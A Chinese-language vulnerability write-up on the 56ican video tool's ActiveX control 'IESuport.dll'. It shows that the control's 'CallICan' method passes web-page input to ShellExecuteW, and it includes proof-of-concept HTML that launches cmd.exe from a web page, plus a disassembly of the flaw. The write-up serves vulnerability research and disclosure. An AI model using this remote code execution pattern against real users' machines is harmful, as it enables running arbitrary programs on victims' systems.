56ican是由56网站开发的一款便于用户上传下载视频文件的工具软件,测试发现该软件在安全方面存在诸多问题,这里我们对该软件的最新版本1.3.0进行了同样的测试,发现问题依旧存在。其中,最新版本的56ican其使用界面如图1所示。
当我们在系统中安装了56ican后,该软件向系统注册了多个ActiveX控件,这其中有一个名为“IESuport.dll”的文件,它注册的ActiveX控件类名为“IESuportLib”。该控件类只有一个外部接口函数,名为“CallICan”,其函数原型如下所示:
SubCallICan(
ByRefurlAsString
)
从参数名称来看,“url”是代表网址,而函数名称看起来似乎又是类似一个调用性质的函数。在无法推断该函数的作用时,我们写一个测试网页来看一看效果,测试代码如下:
object
classid=clsid:7B001844-0E6A-429A-B014-3BCE8765C470
name=evil/object
script
evil.CallICan(http://www.weixianmanbu.com);
/script
当我们将这个网页放置在测试用的Web服务器上,用IE浏览器访问时,IE浏览器会给出一个安全提示,如图2所示。
当用鼠标点击IE浏览器给出的安全提示,选择允许浏览器加载该控件后,我们发现浏览器在试图访问百度的网站,如图3所示。
这令我们很好奇,一般来说打开网址这样的行为,从编程角度来看,就是调用了一个带有执行命令性质的函数,诸如ShellExecuteW。如果真的是这样,那么,就意味着56ican的ActiveX控件存在了很严重的安全漏洞,我们可以借助“CallICan”来运行任意程序。现在,我们就写一个测试网页来看看效果,代码如下所示。
object
classid=clsid:7B001844-0E6A-429A-B014-3BCE8765C470
name=evil/object
script
evil.CallICan(cmd.exe);
/script
将这个测试网页上传到Web服务器上,再次用IE浏览器访问该测试网页,效果如图4所示。
看到这样的画面实在令人吃惊,我们完全可以借助56ican来实现在用户的系统上远程运行任意程序。但是,这个结果到底是什么原因造成的呢?借助OllyDbg我们找到了原因,如图5所示。
56ican的“IESuport.dll”文件果然调用了ShellExecuteW函数。这个函数是一个非安全函数,尤其是在ActiveX控件中使用它。通过在OllyDbg中回溯跟踪,我们发现了问题所在:
018C3E46
018C3E48
018C3E4A
018C3E4C
018C3E4D
018C3E52
018C3E54
6A05
6A00
6A00
51
68A8768C01
6A00
push5
push0
push0
pushecx
push18C76A8
push0
;UNICODEopen
FF1554718C01calldwordptrds:[18C7154]
;
SHELL32.ShellExecuteW
018C3E5A
018C3E5C
33C0
C20800
xoreax,eax
retn8
原来56ican的“CallICan”接口直接调用了ShellExecuteW函数,其ecx寄存器指向的内容就是我们在网页中传递给“CallICan”接口的参数。使用VC代码进行书写类似这样:
ShellExecuteW(NULL,“open”,ecx,0,0,MB_SHOW)
现在,明白了上面的原理,漏洞的利用代码就可以结合实际情况来进行编写了。最后,该漏洞对于过去版本的56ican都存在,本文旨在谈论讨论该漏洞形成的原因,请不要使用该漏洞进行任何违法活动,
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。